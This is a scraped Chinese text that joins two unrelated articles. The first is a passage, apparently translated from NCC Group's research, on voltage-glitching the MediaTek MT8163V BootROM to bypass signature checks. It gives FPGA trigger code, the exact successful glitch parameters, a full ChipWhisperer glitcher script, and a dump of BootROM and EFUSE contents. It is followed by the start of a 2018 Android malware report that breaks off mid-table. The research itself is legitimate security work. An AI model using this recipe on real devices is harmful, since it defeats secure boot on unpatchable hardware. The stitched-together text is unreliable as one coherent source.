当BootROM从BOOT0分区接收到第一个预加载器映像的全部内容后，就会通过发送GO_IDLE_STATE复位命令中断该过程。
根据我们的观察：如果第一个预加载器映像是有效的，那么，从传输预加载器的最后一个字节到观察到预加载器发出的第一条eMMC命令之间大约需要2秒时间。
另一方面，如果第一个预加载器映像无效（也就是说，它未通过签名验证），则重复此过程。但是，直到收到第二个预加载器副本后，BootROM才发送复位命令。在这种情况下，BootROM加载第一个和第二个预加载器映像之间的间隔，只有700ms左右。
因此，我们假设在最初的700ms左右的时间里，BootROM是在忙着解析预加载器映像的结构，并执行签名验证；而在接下来的1.2s的时间内，则主要忙于初始化预加载器的代码。据此我们可以判断出，电压毛刺攻击应以eMMC读取预加载器后的第一个700ms窗口为攻击目标。
## 搭建FPGA触发器
为了注入具有精确时序的电压毛刺，我们通过廉价的FPGA（Sipeed Tang Nano）实现了一个自定义触发器。该FPGA被连接到eMMC
CLK和DAT0线（虽然图中还连接了CMD引脚，但是它只是供逻辑分析仪进行调试之用）。
虽然FPGA的逻辑电平默认为3.3V，但它也能够在1.8 V输入下工作，而无需对电路板进行任何修改。FPGA的输出为3.3
V的触发信号，并连接到ChipWhisperer的触发输入引脚。
Verilog触发器代码非常简单：FPGA由eMMC时钟信号提供时钟，代码使用DAT0实现移位寄存器，以跟踪线路上传输的最后4个字节。当观察到既定的模式时，它将在512个eMMC时钟周期内产生触发输出信号：
always@ (posedge emmc_clk or negedge sys_rst_n) begin
capture <= capture;
counter <= counter;
trigger <= trigger;
if (!sys_rst_n) begin
trigger <= 1 'b0;
counter <= 24'b1000000000;
capture <= 32 'b0;
end else if (counter > 0) begin
counter <= counter - 1;
capture <= 32'b0;
end
else if (capture == 32 'h4ebbc04d) begin
trigger <= 1'b1;
counter <= 24 'b1000000000;
end else begin
trigger <= 1'b0;
capture <= {
capture[31 : 0],
emmc_dat0
};
end
end
在这里要匹配的模式为4e bb c0 4d，实际上就是位于预加载器第一份副本末端的四个字节。
然后，将触发输出信号馈送到ChipWhisperer，在其中插入延迟并生成特定宽度的毛刺。
## 毛刺攻击的目标
ChipWhisperer平台用于在FPGA触发器激活时生成电压毛刺。
将一个SMA连接器焊接在平板电脑电路板的侧面，然后，通过导线连接到目标焊盘（VCCK_PMU）上。毛刺通过ChipWhisperer的低功耗MOSFET将VCCK_PMU短路到地。通过在极短的时间内降低内核电压，我们期望能够在不让整个系统完全崩溃的情况下，破坏处理器的内部状态（如寄存器的值）。为了访问VCCK_PMU焊盘，我们用小刀从PCB上刮掉了一部分焊膏。除此之外，我们没有进行电路板做任何其他修改（也就是说，去耦电容也不是非去除不可——当然，有时需要去掉）。
毛刺装置的整体设置
我们的毛刺装置的整体设置及其连接方式如下图所示。
执行攻击时，我们用到了以下硬件：
1. 1.8v UART：一个使用1.8v逻辑电平的UART适配器。这样我们就可以看到目标输出，并确定毛刺尝试何时成功（2美元）。
2. RaspberryPi：用于通过uhubctl禁用和重新启用USB电源，以编程方式重置目标设备（50加元，CanaKit）。
3. FPGA：被动侦听eMMC流量，并将毛刺触发信号输出到ChipWhisperer（10加元，Digikey）。
4. ChipWhisperer：在触发信号被激活后插入电压毛刺（325美元，NewAE Technology）。
## 确定初始毛刺参数
以下参数用于设置ChipWhisperer毛刺：
scope.glitch.clk_src = "clkgen"
scope.glitch.output = "enable_only"
scope.glitch.trigger_src = "ext_single"
scope.clock.clkgen_freq = 16000000
scope.io.glitch_lp = True
scope.io.glitch_hp = False
接下来，我们需要确定目标毛刺的宽度。为了实现这一点，当设备在引导和预加载器中执行时，我们要手动注入不同宽度的毛刺。根据我们的观察：80-100个时钟周期的毛刺宽度能够在预加载器中引入各种类型的状态损坏。但是，许多状态损坏似乎无法利用，例如，我们曾经在一次迭代中观察到以下输出：
[2176] [PART] check_part_overlapped done
[2180] [PART] load "tee1" from 0x0000000000B00200 (dev) to 0x43001000 (mem) [SUCCESS]
[2181] [PART] load speed: 15000KB/s, 46080 bytes, 3ms
[2213] [platform] ERROR: <ASSERT> div0.c:line 41 0
[2213] [platform] ERROR: PL fatal error...
[2214] [platform] PL delay for Long Press Reboot
## 暴力搜索正确的毛刺参数
如前所述，我们假定签名检查是在最后的GO_IDLE_STATE命令之后的700ms窗口内进行的。为了覆盖整个700ms的时间段，我们使用了一种渐进式的暴力破解方法。
首先，将未修改且经过正确签名的预加载器加载到eMMC
BOOT0分区中。然后，在偏移范围[25400，100000]内执行粗略的暴力搜索，这里以200个循环为步长。同时，我们假设有用的毛刺偏移会导致设备崩溃（在UART上看不到输出），或者令其进入DL模式（在UART上将观察到“
[DL] 00009C40 00000000 010701”输出字符串）。
通过这个实验，我们发现尝试的大多数偏移量都不会导致设备行为发生明显的变化，并且预加载器已正常加载并运行。但是，在运行这个第一阶段的暴力破解几个小时之后，发现了多个感兴趣的区间，并对其应用了更精细的暴力搜索。具体来说，这种细粒度的方法将使用20个周期作为步长值，而不再是200个周期。
同时，我们还通过修改调试字符串篡改了预加载器映像。BootROM应该会因为签名检查失败而拒绝加载这个被篡改的映像。但是，如果这个被篡改的映像被加载并执行，就说明我们的毛刺攻击成功了。之后，我们再次缩小了感兴趣的区间，并继续对毛刺参数进行暴力搜索。经过大约2个小时的搜索后，终于找到了几个成功的毛刺。然而，这些成功的案例并不十分可靠，因此还需要进一步的微调。
接下来，围绕着这些特定的偏移和宽度，我们继续通过暴力搜索进行微调，以寻找完美的毛刺参数。有了合适的参数，再加上几天的暴力搜索，我们绕过签名检查的成功率逐渐提高到15-20%。下表给出了我们的统计输出，其中有多组参数（宽度和偏移量）能够实现成功的毛刺攻击：
##
请注意，所有成功的毛刺都聚集在狭窄的范围内：宽度范围为93-130，而偏移量的范围为41428-41438。这些值可以与本文结尾处提供的ChipWhisperer脚本一起使用。
## 执行Payload
当然，我们的目标绝不是简单的篡改调试字符串，而是执行任意代码。所以接下来，我们在预加载器二进制代码中注入了一个payload，以替换部分字符串。同时，我们还对预加载器进行了相应的修改，使其直接跳转到payload处，从而跳过原本执行GPT解析的代码。之所以选择这个位于预加载器后期的位置，是因为毛刺攻击成功后，必须用不同的波特率参数重新配置UART，而这是需要一定的时间的，所以会导致预加载器的早期输出丢失。
注入的payload会打印一条日志信息，然后读取BootROM内存和EFUSE内容。下面的UART输出表明毛刺攻击成功了：
Dry run
Dry run done, go!
105 41431 b'\x00[DL] 00009C40 00000000 010701\n\r'
105 41433 b'\x00'
99 41432 b'\x00\n\rF0: 102B 0000\n\rF3: 4000 0036\n\rF3: 0000 0000\n\rV0: 0000 0000 [0001]\n\r00: 0007 4000\n\r01: 0000 0000\n\rBP: 0000 0209 [0000]\n\rG0: 0190 0000\n\rT0: 0000 038B [000F]\n\rJump to BL\n\r\n\r\xfd\xf0'
Glitched after 10.936420202255249s, reopening serial!
<snip>
[1167] [Dram_Buffer] dram_buf_t size: 0x1789C0
[1167] [Dram_Buffer] part_hdr_t size: 0x200
[1168] [Dram_Buffer] g_dram_buf start addr: 0x4BE00000
[1169] [Dram_Buffer] g_dram_buf->msdc_gpd_pool start addr: 0x4BF787C0
[1169] [Dram_Buffer] g_dram_buf->msdc_bd_pool start addr: 0x4BF788C0
[1187] [RAM_CONSOLE] sram(0x12C000) sig 0x0 mismatch
[1188] [RAM_CONSOLE] start:0x44400000, size: 0x10000
[1188] [RAM_CONSOLE] sig:0x43074244
[1189] [RAM_CONSOLE] off_pl:0x40
[1189] [RAM_CONSOLE] off_lpl: 0x80
[1189] [RAM_CONSOLE] sz_pl:0x10
[1190] [RAM_CONSOLE] wdt status (0x0)=0x0
<snip>
----------------------------------------------------------------------
MediaTek MT8163V voltage glitch proof of concept NCC Group 2020
----------------------------------------------------------------------
BootROM:
00000000: 08 00 00 EA FE FF FF EA FE FF FF EA FE FF FF EA
00000010: FE FF FF EA FE FF FF EA FE FF FF EA FE FF FF EA
00000020: BB BB BB BB 38 00 20 10 00 00 A0 E3 00 10 A0 E3
00000030: 00 20 A0 E3 00 30 A0 E3 00 40 A0 E3 00 50 A0 E3
00000040: 00 60 A0 E3 00 70 A0 E3 00 80 A0 E3 00 90 A0 E3
00000050: ...
EFUSE:
10206000: 11 00 0F 00 62 00 00 00 00 00 00 00 00 00 00 00
10206010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
10206020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
10206030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
10206040: 00 10 02 04 00 00 50 0C 00 00 00 00 00 00 00 00
10206050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
10206060: 46 08 00 00 00 00 00 00 07 00 00 00 00 00 00 00
10206070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
10206080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
10206090: 47 C8 DE F6 A6 A9 A1 8B 7A 8D 71 91 06 BC 18 86
102060A0: 9F 97 E1 CD A3 7C 4C E8 AB E8 7F 60 E8 A6 FD 77
102060B0: ...
如您所见，这说明我们的毛刺技术是成功的，注入的payload已经能够执行任意代码了。虽然这里没有进行演示，但我们也可以执行预加载器通常负责的任何特权操作，例如解密和加载修改后的TrustZone映像，加载恶意的LK/Android映像，等等。
## 小结
我们已经证明MediaTek MT8163V
SoC容易受到电压毛刺攻击。此外，我们还发现，毛刺攻击的成功率还是很高的，并且无需对毛刺装置进行高级设置（例如时钟同步或从电路板上移除电容）。虽然每组毛刺参数都具备大约20%的成功率，但攻击者只要在毛刺尝试之间重新启动，就可以轻松地实现100%的总体成功率。
由于该漏洞影响的是BootROM，因此，已经出厂的产品都无法修补该漏洞，也就是说，所有已经出厂的产品都将无限期地存在该漏洞。在我们与MediaTek的交流中，他们表示，在即将推出的尚未命名的SoC的BootROM中，将引入故障注入缓解措施。不过，目前我们还没有机会评估这些缓解措施的有效性，也不清楚这些措施是基于硬件的还是基于软件的。
为了支持整体安全工程，我们建议我们的客户考虑加入故障注入攻击缓解措施。对于电压毛刺攻击，基于硬件的缓解措施（如快速反应的硅内掉电检测电路）是最有效的防御措施。或者，也可以采用基于软件的防御措施，尽管它们只能提高攻击难度，而无法完全杜绝这种攻击。基于软件的缓解措施示例包括：
冗余地执行关键检查，如果产生冲突结果，则终止执行。这种缓解措施迫使攻击者连续重复执行毛刺攻击，才能绕过单个关键安全检查。
在安全关键代码的各个位置插入随机持续时间延迟。这种缓解措施迫使攻击者必须实现多个精确的触发条件才能得手。
在BootROM内实现控制流完整性检查，特别是与安全相关的关键部分的完整性检查。这种缓解有助于检测何时注入的故障会导致程序执行意外的代码路径，例如跳过分支指令。
对于设备OEM来说，实施缓解措施将更为困难：它们影响上游硅供应商实现的抗毛刺性能的能力往往有限。在这种情况下，我们建议设备OEM与其供应商紧密合作，了解组件的安全态势。如果存在理解上的差距，可以考虑进行第三方评估。这种分析必须在组件选择阶段的早期进行，这样才能对可能的供应商组件进行有用的比较。只有那些符合产品安全目标和威胁模型的组件才应考虑使用。在芯片组级别以上，额外的物理保护层可以帮助减缓这种类型的攻击，包括精心的PCB设计、全面的防篡改措施，以及明智地使用加密技术保护重要的用户数据。
对于离BootROM的实现更远的用户和消费者来说，重要的是要从那些对自家产品安全性提供承诺的供应商处购买设备。这对于移动设备来说尤其如此，因为它们很容易丢失或被盗，所以很容易受到这里讨论的物理攻击。此外，最低的价格往往意味着对安全的重要性的重视程度最低。此外，大家也可以通过主动性的安全测试渠道了解相关产品的安全性，如漏洞赏金计划、已出版的安全白皮书、产品安全标志（如ioXt）、定期更新固件的节奏，以及积极响应公开的安全漏洞的历史记录等。
## 附录：Glitcher源代码
import chipwhisperer as cw
import time
import serial
import subprocess
import sys
start = time.time()
scope = cw.scope()
scope.glitch.clk_src = "clkgen"
scope.glitch.output = "enable_only"
scope.glitch.trigger_src = "ext_single"
scope.clock.clkgen_freq = 16000000
scope.io.glitch_lp = True
scope.io.glitch_hp = False
SERIAL = "/dev/ttyUSB0"
RPI = "192.168.0.18"
def power_off():
subprocess.check_output(["ssh", "root@{}".format(RPI),
"/root/uhubctl/uhubctl -l 1-1 -p 2 -a 0"
])
def power_on():
subprocess.check_output(["ssh", "root@{}".format(RPI),
"/root/uhubctl/uhubctl -l 1-1 -p 2 -a 1"
])
ser = serial.Serial(SERIAL, 115200, timeout = 0.1)
print("Dry run")
power_off()
scope.glitch.repeat = 10
scope.glitch.ext_offset = 0
scope.arm() power_on()
for x in range(10):
data = ser.read(100000)
power_off()
print("Dry run done, go!")
def glitch_attempt(offset, width):
power_off()
scope.glitch.repeat = width
scope.glitch.ext_offset = offset
scope.arm()
power_on()
data = b ""
for x in range(30):
data += ser.read(100000)
if b "[DL]" in data and b "\n\r" in data:
break
if b "Jump to BL" in data and b "\n\r" in data:
break
print(width, offset, data)
if b "Jump" in data:
print("Glitched after {}s, reopening serial!\n\n".format(
time.time() - start))
ser.close()
ser2 = serial.Serial(SERIAL, 921600, timeout = 0.1)
while True:
data = ser2.read(10000)
sys.stdout.buffer.write(data)
sys.stdout.flush()
try:
while True:
for width, offset in [
(105, 41431), (105, 41433), (99, 41432), (101, 41434),
(127, 41430), (104, 41432), (134, 41431), (135, 41434),
]:
glitch_attempt(offset, width)
finally:
print("Turn off")
power_off()
print("Disable scope")
scope.dis()
print("Bye!\n") | 社区文章 |
# 2018年Android恶意软件专题报告
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 摘要
* 2018年全年，360互联网安全中心共截获移动端新增恶意软件样本约434.2万个，平均每天新增约1.2万个。全年相比2017年（757.3万个）下降了约42.7%。
* 2018全年移动端新增恶意软件类型主要为资费消耗，占比高达63.2%；其次为隐私窃取（33.7%）、恶意扣费（1.6%）、流氓行为（1.2%）、远程控制（0.3%）。
* 2018全年，360互联网安全中心累计监测移动端恶意软件感染量约为1.1亿人次，相比2017年（2.14亿人次）感染量下降48.6%，平均每日恶意软件感染量约为29.2万人次。
* 2018全年从地域分布来看，恶意软件感染量最多的省份为广东省，占全国感染量的8.2%；其次为北京（7.2%）、山东（6.5%）、河南（6.4%）江苏（6.1%）等。感染量最多的城市为北京，占全国城市的7.2%；其次是重庆（2.2%）、广州（1.6%）、成都（1.3%）、南京（1.3%）。位居Top10的城市还有东莞、呼和浩特、石家庄、上海、哈尔滨。
* 2018年恶意软件使用了多种新技术，分别是利用调试接口感染传播，首次出现Kotlin语言开发的恶意软件，劫持路由器设置，篡改剪切板内容，滥用Telegram软件协议，恶意软件适配高版本系统以及针对企业和家庭的网络代理攻击。
* 2018年移动高级威胁方面，360烽火实验室监测到的公开披露的APT报告中，涉及移动相关的APT报告23篇。被提及次数最多的被攻击国家依次是韩国、以色列、巴基斯坦、巴勒斯坦、伊朗、叙利亚和印度。
* 2018年移动高级威胁主要围绕在亚太和中东地区，涉及朝韩半岛、克什米尔地区，巴以冲突地区。除此以外，还体现了部分国家内部动荡的政治局势。
* 2018年移动平台黑灰产业生态，根据结构划分为流量获取分发、流量变现盈利和数据信息安全三个方面。
* 2018年度CVE Details报告显示，Android系统以611个漏洞位居产品漏洞数量榜前列，与2017年842个相比略有减小，下降27.4%，与2016年相比增加16.6%
* 截止2018年10月，Google发布的Android系统版本分布统计，Android Nougat（Android 7.0/7.1）达到28.2%，占比第二的是Android Oreo（Android 8.0/8.1）总占比已达21.5%，而最新系统版本Android 9 Pie不足0.1%。
* 系统厂商自律定期更新开发者策略，政府监管处置各类违法违规应用，警企协同打击网络犯罪，共建大安全生态环境。
* 从移动威胁趋势上看，5G时代到来物联网安全问题凸显，基于内容的诈骗活动将越来越活跃，虚拟货币价格虽然降低但攻击仍将继续，社交网络下的新型传播方式以及数据泄露推动隐私全球立法，这五个方面将成为未来的主要趋势。
关键词：移动安全、恶意软件、高级威胁、黑灰产业、威胁趋势
## 总体态势
### 一、恶意软件新增量与类型分布
2018年全年，360互联网安全中心共截获移动端新增恶意软件样本约434.2万个，平均每天新增约1.2万个。全年相比2017年（757.3万）下降了约42.7%。自2015年起，恶意软件新增样本量呈逐年下降趋势。
图1.1 2012-2018年移动端新增恶意软件数量情况
2018年新增恶意软件整体呈现上半年、下半年较低的态势。其中3月份新增量最多，约50.0万个恶意软件，第四季度中新增样本量均较低。
图1.2 2018年移动端各月新增恶意移动端样本数分布情况
2018全年移动端新增恶意软件类型主要为资费消耗，占比高达63.2%；其次为隐私窃取（33.7%）、恶意扣费（1.6%）、流氓行为（1.2%）、远程控制（0.3%）。
图1.3 2018年移动端新增恶意软件类型分布情况
### 二、恶意软件感染量分析
2018全年，360互联网安全中心累计监测移动端恶意软件感染量约为1.1亿人次，相比2017年（2.14亿人次）感染量下降48.6%，平均每日恶意软件感染量约为29.2万人次。
从七年的移动端恶意软件感染量对比看，经过2012-2015年的高速增长期，2016年起呈现逐年下降趋势，恶意软件发展逐渐平稳。
图1.4 2012-2018年移动端恶意软件感染量对比情况
2018年移动端新增恶意软件感染量的按季度对比情况来看，总体呈下降趋势。四季度新增量最低，仅约52.4万个。
全年来看，2018年四个季度的感染量总体呈下降趋势；其中一季度最高约为3437.3万人次，四季度感染量最少，仅约2057.1万人次。
图1.5 2018年移动端新增恶意软件感染量按季度对比情况
### 三、恶意软件感染量地域分析
2018全年从地域分布来看，恶意软件感染量最多的省份为广东省，占全国感染量的8.2%；其次为北京（7.2%）、山东（6.5%）、河南（6.4%）和江苏（6.1%）。此外河北、浙江、四川、黑龙江、江西的恶意软件感染量也排在前列。
图1.6 2018年恶意软件感染量TOP10省级分布情况
恶意软件感染量最多的城市为北京，占全国城市的7.2%；其次是重庆（2.2%）、广州（1.6%）、成都（1.3%）、南京（1.3%）。位居Top10的城市还有东莞、呼和浩特、石家庄、上海、哈尔滨。
图1.7 2018年恶意软件感染量TOP10城市分布情况
## 盘点恶意软件的新技术
### 一、利用调试接口传播
adb是连接Android设备与PC端的桥梁，可以让用户在电脑上对设备进行全面的操作，是Android系统为方便软件开发者提供的一种调试接口，一般情况下软件开发人员是通过启用USB调试选项来使用这种接口的。但事实上，这种接口可以直接绑定到网络端口上。一旦被绑定到网络端口，攻击者就可以在不借助物理接触的前提下，远程操作Android设备。
今年2月，360安全团队监测到全球首个Android平台挖矿蠕虫ADB.Miner[1]。ADB.Miner利用了Android设备上的5555
端口，5555 端口是Android设备上adb调试接口的工作端口，正常状态下应该处于关闭状态，但未知原因导致部分设备错误打开了该端口。
ADB.Miner蠕虫摆脱了通过短信、垃圾邮件等社交诱骗的传播方式，而是直接从adb接口感染和传播。另外，adb接口功能相当丰富，其中文件上传功能及Shell指令为蠕虫的繁殖和运行提供了便利。在传播中，ADB.Miner复制了MIRAI中SYN扫描模块的代码，试图加速对5555端口开放情况的探测过程，以便提高传播速度。
图2.1 端口5555上的扫描流量正在快速增长
### 二、Kotlin语言开发的恶意软件首现
Kotlin[2]是一个用于现代多平台应用的静态编程语言, 2017年5月Google宣布Kotlin正式成为Android官方支持开发语言。
Kotlin特点简洁，大大减少了样板代码的数量；安全，因为它避免了诸如空指针异常之类的整个类错误；互操作性，充分利用JVM，Android和浏览器的现有库；并且工具友好，可用任何
Java IDE 或者使用命令行构建。
2018年1月，安全厂商发现首个以Kotlin编程语言开发的恶意软件[3]，该恶意软件不仅能够执行远程命令，窃取信息，模拟点击广告，它还可以在未经许可的情况下为用户订阅付费短信业务。
图片来自https://blog.trendmicro.com/trendlabs-security-intelligence/first-kotlin-developed-malicious-app-signs-users-premium-sms-services/
图2.2 使用Kotlin开发的恶意软件的包结构
### 三、劫持路由器设置
路由器被入侵的可能性大致分为两种。一种是使用路由器本身的漏洞攻击，另一种是通过路由器管理功能所设置的弱认证信息非法登录。
早在2016年12月，就曾出现了劫持路由器DNS设置的Switcher[4]恶意软件家族，恶意软件即会利用一份预置好的包含25种默认登录名与密码的列表，在路由器的管理员Web界面中执行密码暴力破解。如果破解尝试成功后，木马会导航至WAN设置选项并设置不法犯罪分子控制的流氓DNS作为主DNS服务器。
2018年3月，日本媒体报道了大量日本用户的路由器DNS设置被劫持，将用户重定向到恶意IP地址，导致用户手机下载安装了伪装成Facebook和Chrome更新的XLoader[5]恶意软件，恶意行为包括窃取隐私、网站钓鱼、挖矿等。截至目前，攻击者已经将目标语言从4种扩展到27种，包括欧洲和中东语言，平台也从Android覆盖到iOS、PC平台。
图片来自https://blog.trendmicro.com/trendlabs-security-intelligence/xloader-android-spyware-and-banking-trojan-distributed-via-dns-spoofing/
图2.3 XLoader感染链
### 四、篡改剪切板内容
在使用手机时经常会用到剪切板功能，通过小小的剪贴板在各种APP之间传递和共享信息。我们发现由于剪切板功能简单，使用时也不需要申请额外的权限，导致被恶意利用，在复制粘贴过程中暗藏玄机。
2018年伊始，我们发现羊毛党篡改剪贴板以非正常方式传播支付宝的吱口令，通过支付宝的红包活动赚取红包赏金。我们将信息及时反馈给支付宝，在新一期的赚取赏金活动中支付宝调整了策略，限制了邀请方式和邀请次数。
10月，我们监控到利用剪切板盗取比特币（Bitcoin）钱包的恶意软件[6]。通过监控用户手机剪贴板中的内容来判断是否是加密数字货币的钱包地址，如果是钱包地址则替换成从服务器得到的攻击者的钱包地址。当用户把复制的钱包地址粘贴到转账地址栏的时候，原先的钱包地址已经被木马替换成了攻击者的钱包地址，造成用户的财产损失。
图2.4 2018年移动端篡改剪切板恶意软件每月新增数量
### 五、滥用Telegram软件协议
从去年开始出现利用Telegram软件协议的木马，今年有更多的恶意软件作者开始滥用Telegram软件协议。滥用Telegram软件协议的IRRAT和TeleRAT[7]恶意软件家族接连被曝光，并且还出现了与之前使用Telegram
Bot API方式不同的HeroRat[8]恶意软件家族，它使用了名为Telesharp[9]的开源项目，它可以使用C#语言创建Telegram
Bot，目前这个开源项目已经不再维护。
图2.5 TeleSharp开源项目功能介绍
### 六、恶意软件适配高版本系统
在2016年年度报告中，我们提到界面劫持技术被大量用在钓鱼软件和勒索软件。虽然Google在Android
5.0系统及以上版本限制了获取栈顶Activity的获取方法，减弱了这种攻击方式。但当时由于Android
5.0以下版本仍然有一定的市场占有率，低版本手机仍然可能遭受到这种威胁。
2018年Google已经发布了Android 9 Pie，经过两年的发展Android
5.0以上系统已经占据主导地位。纵观Google在Android系统安全方面的更新，每一版本都在遏制恶意软件方面做出了积极应对，这使得界面劫持技术变得更加困难。
2018年6月，我们发现MysteryBot[10]恶意软件家族开始适配高版本系统，它通过诱导用户授予APP Device
Administrator和AccessibilityService权限，而后滥用Usage Access权限。Usage
Access权限可以获取一个时间段内的应用统计信息，按照使用时间排列后，即可获取当前最顶层的APP。
图片来自https://www.threatfabric.com/blogs/mysterybot__a_new_android_banking_trojan_ready_for_android_7_and_8.html
图2.6 MysteryBot请求Usage Access权限
### 七、企业和家庭网络攻击进阶
针对企业和家庭内网的攻击，继DressCode[11]、MilkyDoor[12]恶意软件家族后，今年又出现了利用移动设备攻击内网的新的恶意软件家族TimpDoor[13]。TimpDoor通过短信进行网络钓鱼，诱导用户下载安装虚假APP，将受感染的Android设备转变为移动网络代理，允许不法分子加密访问内部网络，给企业和家庭内部网络带来巨大安全风险。
家族名称
|
DressCode
|
MilkyDoor
|
TimpDoor
---|---|---|---
曝光时间
|
2016年8月
|
2017年4月
|
2018年10月
传播方式
|
Google Play
第三方市场
|
Google Play
第三方市场
|
钓鱼短信
数据转发
|
SOCKS代理
|
SOCKS代理使用SSH远程转发，从主控端获取SSH登录信息，具有广告和下载功能。
|
SOCKS代理使用SSH远程转发，代码包含SSH登录信息，实现基本的代理功能。
表1 DressCode、MilkyDoor与TimpDoor恶意软件家族对比
## 移动高级威胁持续进化
今年360安全团队曝光的毒云藤（APT-C-01）[14]、蓝宝菇（APT-C-12）[15]组织对我国政府、国防、科技、教育、金融等多方面进行了长期的网络间谍活动。网络战和网络攻击成为一些热点冲突背后无硝烟的战场，可以说没有网络安全就没有国家安全，就没有经济社会稳定运行，广大人民群众利益也难以得到保障。
2018年，我们在中国互联网安全大会（ISC）上以《APT攻击战场升级：移动端拉响安全警报》为题，深度介绍移动端APT发展现状、移动端价值、植入方式、相关案例以及发展趋势。移动端的重要程度，使得成为APT组织转向的新目标。
### 一、移动高级威胁全球研究
在2018年360烽火实验室监测到的公开披露的APT报告中，涉及移动相关的APT报告23篇。被提及次数最多的被攻击国家依次是韩国、以色列、巴基斯坦、巴勒斯坦、伊朗、叙利亚和印度。
从公开披露的APT报告数量上看，移动APT已经成为新兴的APT战场，原因在于手机中存储着人们大量重要的隐私信息，这些信息能够让攻击者发动攻击前，在攻击目标的身份辨别上更加准确，在攻击时攻击的地点和时间更加精确，在攻击后最终获得的收益更加丰厚。
从公开披露的移动高级威胁活动中涉及目标领域情况来看，政府、军事、宗教、媒体、企业是APT攻击者的主要目标，这也与APT攻击的主要意图和目的有关。
被攻击目标国家
|
所属地区
|
相关报告数量
|
主要被攻击领域
---|---|---|---
韩国
|
亚太地区
|
6
|
政府、军事、媒体、企业
以色列
|
中东地区
|
4
|
政府、军事
巴基斯坦
|
亚太地区
|
4
|
政府
巴勒斯坦
|
中东地区
|
3
|
政府
伊朗
|
中东地区
|
2
|
政府、宗教
叙利亚
|
中东地区
|
2
|
政府、军事
印度
|
亚太地区
|
2
|
政府、军事
表2 移动高级威胁研究关注被攻击国家排行
### 二、地缘政治影响日益显著
2018年移动高级威胁主要围绕在亚太和中东地区，涉及朝韩半岛、克什米尔地区，巴以冲突地区。APT行动与国家及地区间的政治摩擦密切相关，围绕地缘政治的影响日益显著。
2018年围绕朝韩半岛，在移动端韩国是被公开披露次数最多的被攻击国家。主要攻击组织为Group 123，又称Reaper
group，APT37，Geumseong121，Scarcruft，该组织被国外安全厂商认为是来自朝鲜的一个频繁活跃的 APT攻击组织。
披露时间
|
披露来源
|
概述
---|---|---
2018.4.2
|
Cisco Talos
|
安全厂商对一个虚假的反病毒恶意软件KevDroid的分析，并且多家安全厂商对其相关分析和归属的判断[16]。
2018.4.5
|
Palo Alto Networks
|
介绍了相关联的鱼叉式网络钓鱼活动，其中伪装的应用名称为“PyeongChang Winter Games” [17]。
2018.8.22
|
ESTsecurity
|
韩国安全厂商披露Operation Rocket Man，分析了其针对Windows和Android两个平台的攻击活动[18]。
2018.12.13
|
ESTsecurity
|
韩国安全厂商披露Operation Blackbird，主要为该组织实施针对移动终端的攻击活动[19]。
表3 2018年Group 123组织移动端相关活动
另一个活跃的APT组织Sun Team也被频繁曝光，主要针对脱北者和媒体记者。Sun Team和Group
123在移动恶意样本分发上存在一些关联，疑似归属为同一组织或使用了共同的基础服务。
披露时间
|
披露来源
|
概述
---|---|---
2018.1.11
|
McAfee
|
介绍利用社交网络服务发送包含恶意软件下载的链接，诱导脱北者和媒体记者安装恶意软件[20]。
2018.5.17
|
McAfee
|
安全厂商在Google Play上发现有针对脱北者的恶意软件[21]。
表4 2018年Sun Team组织移动端相关活动
2018年围绕克什米尔地区，印度和巴基斯坦分别受到了多个APT组织攻击。印度方面，基于国外安全厂商公开的APT报告认为攻击印度政府的APT组织背后都与巴基斯坦APT组织有关，之前Operation
Transparent Tribe[22]和Operation C-Major[23]的策划者也被国外安全厂商认为是巴基斯坦APT组织。
披露时间
|
披露来源
|
概述
---|---|---
2018.1.29
|
TrendMicro
|
安全厂商发现PoriewSpy间谍软件攻击印度Android用户,背后与巴基斯坦APT组织有关[24]。
2018.5.15
|
Lookout
|
安全厂商发现监控窃取军方和政府官员的数据的Android和iOS恶意软件[25]。
表5 2018年印度受到的移动端攻击相关活动
相比印度，巴基斯坦方面也遭遇了多个APT组织攻击，安全厂商分析发现从入侵技术和使用的工具上多个组织之间存在一定的相似性。
披露时间
|
披露来源
|
概述
---|---|---
2018.1.13
|
TrendMicro
|
介绍了Confucius组织间谍网络活动[26]。
2018.5.23
|
TrendMicro
|
介绍了Confucius组织新的工具和技术，以及与Patchwork组织的联系[27]。
2018.8.14
|
360烽火实验室
|
肚脑虫组织（APT-C-35）移动端攻击活动主要针对巴基斯坦和克什米尔地区的目标人员[28]。
2018.8.29
|
TrendMicro
|
安全厂商发现未知组织Urpage与Bahamut、Confucius和Patchwork组织之间的联系[29]。
表6 2018年巴基斯坦受到的移动端攻击相关活动
2018年围绕巴以冲突地区，网络攻击活动也十分频繁。从2016年起，双尾蝎组织（APT-C-23）对巴勒斯坦教育机构、军事机构等重要领域展开了有组织、有计划、有针对性的长时间不间断网络攻击。在2017年该组织更为活跃，涉及的移动端攻击中不断使用的新的恶意软件变种VAMP[30]、FrozenCell[31]和GnatSpy[32]相继曝光。2018年该组织对移动恶意软件的伪装、分发、通信技术上进行了全面的升级改进，恶意行为和攻击持久性进一步增强。
披露时间
|
披露来源
|
概述
|
---|---|---|---
2018.4.16
|
Lookout
|
安全厂商发现Google Play中的监控软件与针对中东的双尾蝎（APT-C-23）组织有关[33]。
2018.8.11
|
Symantec
|
介绍了针对巴勒斯坦人的最新恶意软件的伪装、分发、通信技术[34][35]。
表7 2018年巴勒斯坦受到的移动端攻击相关活动
以色列方面，世界杯期间以色列国防军指责巴勒斯坦伊斯兰组织哈马斯试图通过恶意软件攻击以色列士兵的手机[36]。此前监控以色列国防军的ViperRAT恶意软件也被认为与哈马斯组织有关[37]。
披露时间
|
披露来源
|
概述
---|---|---
2018.4.16
|
Lookout
|
用于监控以色列国防军的ViperRAT的新变种在Google Play上被发现[38]。
2018.7.3
|
以色列国防军（IDF）
|
介绍世界杯期间针对以色列士兵的Android恶意软件相关信息，其他安全厂商进行了相继跟踪分析[39][40][41][42]。
表8 2018年以色列受到的移动端攻击相关活动
### 三、部分国家内部局势动荡
2018年移动APT攻击事件中，还体现出了部分国家内部局势动荡，主要体现在中东国家伊朗和叙利亚，针对国家内部持不同政见者和反对派力量，以及一些极端主义活动的倡导者的网络监控。
披露时间
|
披露来源
|
概述
---|---|---
2018.1.4
|
360追日团队
